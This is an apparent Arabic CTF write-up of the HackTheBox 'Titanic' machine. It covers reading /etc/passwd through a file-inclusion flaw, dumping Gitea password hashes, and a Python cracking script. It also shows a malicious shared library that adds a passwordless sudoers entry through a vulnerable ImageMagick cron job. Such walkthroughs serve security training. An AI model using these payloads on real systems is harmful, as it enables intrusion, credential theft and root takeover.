> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md).

# شرح Titanic HackTheBox

{% embed url="<http://app.hackthebox.com/machines/648>" %}

{% hint style="warning" %}
**المهارات:**

* **تضمين الملفات المحلية (LFI)**
* **استخراج قاعدة بيانات Gitea**
* **ثغرة ImageMagick (تصعيد الامتيازات)**
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/f83c28bae1e1ca020c7d207dbcaed03710f50dd2" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/3c6efd5239736b1b42124cf12aab2397f8f71100" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.55 -oG allPorts
```

<figure><img src="/files/dd86007ef51d60a4df82598314268169fce67552" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (22.80)

```bash
nmap -sCV -p22,80 10.10.11.55 -oN targeted
```

<figure><img src="/files/faf5ac003fc773866dec34e00d7a1a3f7c61a3da" alt=""><figcaption></figcaption></figure>

ثم نضيف عنوان IP إلى `/etc/hosts` الملف:

<figure><img src="/files/565831ae97be9cae5e779dcdb145e018ae5bf67f" alt="" width="563"><figcaption></figcaption></figure>

### فحص المنفذ 80 (HTTP)

####

<figure><img src="/files/a233839b45b4493cb0072f8179814c28aafa53c0" alt=""><figcaption></figcaption></figure>

### فحص المنفذ 80 (HTTP)

#### اكتشاف التقنية

مع `wappalyzer`، نحدد أن الموقع يستخدم **Flask وPython**

<figure><img src="/files/91a56b7c1077f094a83bbf744bc678aee9aa865f" alt="" width="349"><figcaption></figcaption></figure>

## تضمين الملفات المحلية (LFI) <a href="#fb9e" id="fb9e"></a>

<figure><img src="/files/815854d8c0286a1d3197fc1c316ee232926300d7" alt="" width="423"><figcaption></figcaption></figure>

يوفر الموقع خيار طلب رحلة، والذي يعيد ملف JSON.

<figure><img src="/files/ddc70756418593f29e4fc31fea67626aa0403cb6" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/0eba5ce0b589aca4e83d2360d9c5b0a86d3a795c" alt="" width="563"><figcaption></figcaption></figure>

من خلال اعتراض الطلب باستخدام **Burp Suite**، نلاحظ `تنزيل` معلمة تتيح الوصول إلى الملفات:

<figure><img src="/files/fafba645f666c6e7b854dc17531d381406ef9ea0" alt=""><figcaption></figcaption></figure>

```bash
/download?ticket=9bff28d2-2f3a-4e5d-8879-576eb1dadf8b.json
```

نختبر تضمين ملف:

```
/download?ticket=/etc/passwd
```

<figure><img src="/files/0463d1f5e11fb78bda1c21ed2d58818f0f55bc76" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/caaf22c1218fcab1f878fd615855d96cf53bc4fb" alt=""><figcaption></figcaption></figure>

مع `curl`:

```
curl -s --path-as-is http://titanic.htb/download?ticket=/etc/passwd
```

نسترجع مستخدمي النظام، بما في ذلك **developer**.

<figure><img src="/files/0625674013409053fda838853e61ecce8eddc804" alt=""><figcaption></figcaption></figure>

### استكشاف النطاقات الفرعية

نبحث عن النطاقات الفرعية باستخدام **Gobuster**:

```bash
gobuster vhost -u http://titanic.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -r
```

<figure><img src="/files/65c1a29ebfc72dd90f14e3aaaf46df969ce9d3ec" alt=""><figcaption></figcaption></figure>

نكتشف **dev.titanic.htb**، والذي نضيفه إلى `/etc/hosts`.

<figure><img src="/files/625226a94e4c83cc66306d0951d583a9bfec1796" alt="" width="563"><figcaption></figcaption></figure>

## استغلال Gitea

في **dev** النطاق الفرعي، نجد **Gitea** مثيل.

<figure><img src="/files/fd750d51ddfae928146d795d8bea2d162c01d375" alt=""><figcaption></figcaption></figure>

#### إنشاء مستخدم

<figure><img src="/files/5ec88dcbb1fd2aeaa0bf078b25f727591b50f594" alt=""><figcaption></figcaption></figure>

نعثر على كلمة مرور مخزنة بالنص الصريح (قاعدة البيانات):

<figure><img src="/files/fb5f433bca64dbfd949f672b5a6c7e417b238df3" alt=""><figcaption></figcaption></figure>

أثناء استكشاف قاعدة بيانات SQLite الخاصة بـ Gitea، نعثر على مسارها:

<figure><img src="/files/81a07fbade59d460d4c6406a4ef674f29f2b0976" alt=""><figcaption></figcaption></figure>

`/home/developer/gitea/data/gitea/gitea.db`

<figure><img src="/files/2e94d279d2fa7b2e7a0ec72da376ee34e462c0d9" alt=""><figcaption></figcaption></figure>

On s'y connecte :

```sql
sqlite3 gitea.db
.tables
```

<figure><img src="/files/907d9bf5fd4c7970c11098f5d4ae22c39fe892f2" alt=""><figcaption></figcaption></figure>

ثم نستخرج تجزئات كلمات المرور:

```sql
SELECT lower_name, passwd, salt FROM user;
```

<figure><img src="/files/0d175d425b395a4947c572a073b2a9086ab10177" alt=""><figcaption></figcaption></figure>

### تخمين القوة الغاشمة للتجزئة مع الملح

#### التجزئة:

```
e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34
```

#### الملح:

```
b8dc26d526439f6f2f4523fa8ea522a2
```

نستخدم سكربت بايثون لكسر التجزئة:

```python
import hashlib
import binascii
 
def pbkdf2_hash(password, salt, iterations=50000, dklen=50):
    hash_value = hashlib.pbkdf2_hmac(
        'sha256',
        password.encode('utf-8'),
        salt,
        iterations,
        dklen
    )
    return hash_value
 
def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50):
    target_hash_bytes = binascii.unhexlify(target_hash)
    
    with open(dictionary_file, 'r', encoding='utf-8') as file:
        count = 0
        for line in file:
            password = line.strip()
            hash_value = pbkdf2_hash(password, salt, iterations, dklen)
            count += 1
            print(f"العدد: {count}: {password}")
            if hash_value == target_hash_bytes:
                print(f"/nتم العثور على كلمة المرور: {password}")
                return password
        print("لم يتم العثور على كلمة المرور.")
        return None
 
salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34')
target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'
dictionary_file = '/usr/share/wordlists/rockyou.txt'
find_matching_password(dictionary_file, target_hash, salt)
```

#### - كلمة المرور التي تم العثور عليها هي **25282528**.

<figure><img src="/files/47724d9d86710d673ba694e96a88a90d432ca63c" alt=""><figcaption></figcaption></figure>

On se connecte en SSH :

```bash
ssh developer@ticanic.htb
```

<figure><img src="/files/a65c2afa9549496ffd727b719ad1f9b72bc928a8" alt=""><figcaption></figcaption></figure>

### الراية user.txt :)

<figure><img src="/files/99fdd4c900a4a4f39c5856bd92c502df748c76e3" alt=""><figcaption></figcaption></figure>

## تصعيد الامتيازات

### وظيفة Cron - استغلال ImageMagick

في `/opt/`، نعثر على سكربت `script.sh` يتم تنفيذه تلقائيًا

<figure><img src="/files/b94033a8eae965f0aed38d3af92df99d2c0dae03" alt=""><figcaption></figcaption></figure>

```bash
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
```

> يبدأ هذا السكربت أولًا بالانتقال إلى `/opt/app/static/assets/images` المجلد، ثم يفرغ ملف `metadata.log` إذا كان موجودًا. ثم يبحث عن جميع `.jpg` الملفات في ذلك الدليل ويستخدم الأمر `identify` الخاصة بـ ImageMagick لاستخراج بياناتها الوصفية (الحجم، التنسيق، عمق الألوان، إلخ). ثم يتم حفظ هذه المعلومات في `metadata.log`. وبالتالي، يتيح لك هذا السكربت إنشاء ملف بيانات وصفية محدث لجميع صور JPG الموجودة في المجلد المحدد.

يستخدم السكربت **ImageMagick**، وهي نسخة ضعيفة.

```bash
magicks --version
```

<figure><img src="/files/b8ea3ec8bae2d7f9325038417b3d42935347294e" alt=""><figcaption></figcaption></figure>

### الاستغلال عبر `LD_PRELOAD`

ننشىء `a.c` الملف:

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers");
}
```

التجميع:

```bash
gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles
```

<figure><img src="/files/316d82b3698d943371e5e963febf00f358e00340" alt=""><figcaption></figcaption></figure>

نضيفه إلى الدليل الذي تتم مراقبته والقابل للتنفيذ بواسطة `ImageMagick`. ثم ننفذ:

```bash
su root
```

<figure><img src="/files/ced2e77915bf6fae4d456d1ce8560e3d378a3cfe" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/d9400ea6a0d6225182c5b89b93d264794eb40ce8" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
